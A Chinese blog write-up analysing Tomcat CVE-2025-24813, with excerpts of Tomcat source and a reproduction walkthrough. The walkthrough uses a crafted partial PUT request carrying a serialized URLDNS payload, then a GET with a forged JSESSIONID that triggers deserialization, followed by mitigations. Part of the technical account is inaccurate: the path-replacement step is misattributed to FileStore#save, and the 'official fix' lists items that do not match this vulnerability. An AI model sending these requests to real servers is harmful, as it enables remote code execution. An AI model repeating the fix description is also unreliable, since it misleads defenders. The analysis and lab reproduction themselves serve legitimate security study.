当前位置: 首页 > news >正文

CVE-2025-24813源码分析与漏洞复现(Tomcat 路径等效漏洞与反序列化RCE)

漏洞概述

漏洞名称:Tomcat 路径等效漏洞+反序列化远程代码执行(RCE)
CVE 编号:CVE-2025-24813
CVSS 评分:9.8
影响版本

  • 9.0.0.M1 ≤ Tomcat ≤ 9.0.98
  • 10.1.0-M1 ≤ Tomcat ≤ 10.1.34
  • 11.0.0-M1 ≤ Tomcat ≤ 11.0.2
    修复版本:≥ 9.0.99 / 10.1.35 / 11.0.3
    漏洞类型:路径遍历 + 反序列化RCE
    根本原因
  1. 路径等效缺陷:Tomcat 处理 partial PUT 请求时未正确规范化含 ../ 的路径,导致恶意文件可写入敏感目录。
  2. 反序列化缺陷:结合文件会话持久化机制及存在漏洞的反序列化库(如 Commons-Collections),可触发远程代码执行。

漏洞原理与源码分析

1. 漏洞触发条件

需同时满足以下非默认配置

  • 显式启用 DefaultServlet 写入功能:在 conf/web.xml 中配置 readonly=false(默认 true)。
  • 启用基于文件的会话持久化:在 conf/context.xml 中配置 PersistentManager + FileStore(默认基于内存)。
  • 类路径包含反序列化利用链库:如 commons-collections-3.2.1.jar
  • 启用 partial PUT 请求(默认开启)。

2. 关键源码定位

(1)路径处理缺陷:FileStore#save
代码路径org.apache.catalina.session.FileStore

 public void save(Session session) throws IOException {File file = this.file(session.getIdInternal());// 会话ID生成文件if (file != null) {if (this.manager.getContext().getLogger().isTraceEnabled()) {this.manager.getContext().getLogger().trace(sm.getString(this.getStoreName() + ".saving", new Object[]{session.getIdInternal(), file.getAbsolutePath()}));}FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());try {ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));try {((StandardSession)session).writeObjectData(oos); // 序列化数据写入文件  } catch (Throwable var9) {try {oos.close();} catch (Throwable var8) {var9.addSuppressed(var8);}throw var9;}oos.close();} catch (Throwable var10) {try {fos.close();} catch (Throwable var7) {var10.addSuppressed(var7);}throw var10;}fos.close();}}

漏洞点:将会话ID中的 / 替换为 .(如 poc/sessionpoc.session),但未过滤 ../,导致路径遍历。

(2)Partial PUT 文件写入:DefaultServlet#doPut
代码路径org.apache.catalina.servlets.DefaultServlet

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (this.readOnly) {// 1. 只读模式检查(默认true安全)this.sendNotAllowed(req, resp);} else {// 2. 获取未经验证的相对路径(核心漏洞点)String path = this.getRelativePath(req);WebResource resource = this.resources.getResource(path);// 3. 解析Content-Range头(支持partial PUT)Range range = this.parseContentRange(req, resp);if (range != null) {InputStream resourceInputStream = null;try {if (range == IGNORE) {// 4a. 完整文件上传resourceInputStream = req.getInputStream();} else {// 4b. 分块上传处理(漏洞利用关键)File contentFile = this.executePartialPut(req, range, path);resourceInputStream = new FileInputStream(contentFile);}// 5. 将输入流写入目标路径(无路径校验)if (this.resources.write(path, (InputStream)resourceInputStream, true)) {if (resource.exists()) {resp.setStatus(204);} else {resp.setStatus(201);}} else {try {resp.sendError(409);// 409 Conflict} catch (IllegalStateException var15) {}}} finally {if (resourceInputStream != null) {try {((InputStream)resourceInputStream).close();} catch (IOException var14) {}}}}}}

绕过机制:攻击者通过 partial PUT 上传含 ../ 的路径(如 /uploads/../work/session),经替换后生成 .work.session 文件,落入会话存储目录 work/Catalina/localhost/ROOT

(3)反序列化触发点:FileStore#load
代码路径org.apache.catalina.session.FileStore#load

public Session load(String id) throws ClassNotFoundException, IOException {File file = this.file(id);if (file != null && file.exists()) {Context context = this.getManager().getContext();Log contextLog = context.getLogger();if (contextLog.isTraceEnabled()) {contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));}ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);ObjectInputStream ois;try {FileInputStream fis = new FileInputStream(file.getAbsolutePath());StandardSession var9;try {ois = this.getObjectInputStream(fis);try {StandardSession session = (StandardSession)this.manager.createEmptySession();session.readObjectData(ois); // 这里是实际反序列化session.setManager(this.manager);var9 = session;} catch (Throwable var19) {if (ois != null) {try {ois.close();} catch (Throwable var18) {var19.addSuppressed(var18);}}...

RCE链:当用户访问携带恶意 JSESSIONID 的链接(如 JSESSIONID=.poc)时,loadSessionFromStore() 加载文件并反序列化,若环境中存在 commons-collections 等利用链,则执行任意代码。

3. 漏洞利用链

攻击者 Tomcat FileStore ManagerBase CommonsCollections 系统 发送Partial PUT请求(路径含../) 路径替换(/ → .)写入恶意session文件 携带JSESSIONID=.poc访问页面 加载并反序列化session文件 触发Gadget链 执行任意命令(如弹出计算器) 攻击者 Tomcat FileStore ManagerBase CommonsCollections 系统

漏洞复现

1.使用 Vulhub 环境启动漏洞靶机

docker-compose build
docker-compose up -d
  • 如果启动有问题可以尝试
docker build -t my-tomcat .
docker run -d --privileged -p 8080:8080 my-tomcat

2.访问 http://target:8080,确认服务正常运行

在这里插入图片描述

3.下载Yakit工具

4.下面进行最简单的URLDNS验证,无需导入其他恶意包

  • 在(https://dig.pm/)申请域名
    在这里插入图片描述

  • 启动yakit,使用下面图片中的功能
    在这里插入图片描述

  • 选择URLDNS,输入之前申请的域名和生成base64的payload

在这里插入图片描述

  • yakit发送请求包(不要用bp),打开如下功能
    在这里插入图片描述
  • 先发送如下请求包
PUT /666/session HTTP/1.1
Host: 192.168.1.100:8080
Content-Length: 2102
Content-Range: bytes 0-1000/1200{{base64dec(恶意代码)}}//将ip换为自己的,恶意代码换为之前生成的base64的payload

在这里插入图片描述

  • 紧接着快速发送如下请求
GET / HTTP/1.1
Host: 192.168.1.100:8080
Cookie: JSESSIONID=.666

在这里插入图片描述

  • 返回dig.pm点击get results 获取到记录
    在这里插入图片描述

影响范围与修复方案

1. 受影响版本

Tomcat 分支受影响版本安全版本
9.x9.0.0.M1 - 9.0.98≥ 9.0.99
10.x10.1.0-M1 - 10.1.34≥ 10.1.35
11.x11.0.0-M1 - 11.0.2≥ 11.0.3

2. 官方修复方案

  • 补丁提交:GitHub Commit
  • 修复逻辑
    1. 路径规范化校验:在 FileStore#save 中禁止路径含 ../
    2. 禁用危险属性:在 AjpProcessor 中拦截 javax.servlet.include.* 属性。
    3. 强制会话文件签名:添加 HMAC 校验防止篡改。

3. 临时缓解措施

措施操作步骤
禁用 DefaultServlet 写入conf/web.xml 中设置 <param-value>true</param-value>
关闭文件会话持久化移除 conf/context.xml 中的 <Manager> 配置
移除反序列化漏洞库删除 WEB-INF/lib/ 下的 commons-collections-3.x.jar 等危险库
网络层拦截Nginx 配置过滤含 ../ 的请求:if ($request_uri ~* "\.\.") { return 403; }

漏洞启示:

  1. 配置最小化:生产环境禁用非必要功能(如 readonly=false 和文件会话持久化)。
  2. 依赖库安全管理:定期扫描 WEB-INF/lib 中的危险库(如 Commons-Collections)。
  3. 纵深防御:结合代码补丁、WAF 规则(拦截 ../partial PUT)和文件监控(审计 work/ 目录)。
  4. 漏洞利用复杂性:尽管需多条件叠加,但企业内网中易存在错误配置,需全面自查。

参考链接

  1. Apache 官方安全通告 - 修复版本下载
  2. 漏洞原理深度解析(Akamai) - 攻击流量分析
  3. 复现指南与环境配置(腾讯云) - 详细 PoC 步骤

相关文章:

  • npm下载离线依赖包
  • 云服务器与物理服务器对比:选择最适合的业务服务器解决方案
  • AntDesignPro前后端权限按钮系统实现
  • Unity技能编辑器深度构建指南:打造专业级战斗系统
  • Java八股文——操作系统「内存管理篇」
  • OpenStack Dashboard在指定可用域(Availability Zone)、指定节点启动实例
  • golang编译时传递参数或注入变量值到程序中
  • Lua 事务双写、RedisGears 异步双写、零停机索引迁移与容量预估
  • Docker Swarm
  • day43-硬件学习之ARM基础知识
  • DAY 54 python打卡
  • c++ 虚析构函数
  • idea中push拒绝,merge,rebase的区别
  • 《汇编语言:基于X86处理器》第3章 汇编语言基础
  • 【笔记】解决部署国产AI Agent 开源项目 MiniMax-M1时 Hugging Face 模型下载缓存占满 C 盘问题:更改缓存位置全流程
  • 基于物联网的智能衣柜系统设计
  • 研英语作文万能模板
  • Maven 之工程化开发核心指南:插件配置、pom 文件与依赖管理
  • 掌握Bash脚本编写:从服务启动脚本到语法精要
  • Tomcat双击startup.bat闪退的解决方法
  • 一 网站建设总体目标/青岛网站建设策划
  • 电子商务网站建设携程/上海职业技能培训机构一览表
  • 网站首页图片怎么更换/深圳竞价托管
  • 洛阳市建设工程造价信息网/惠州seo按天付费
  • python网站开发用什么数据库/头条关键词排名查询
  • 网站设计团队/全网推广成功再收费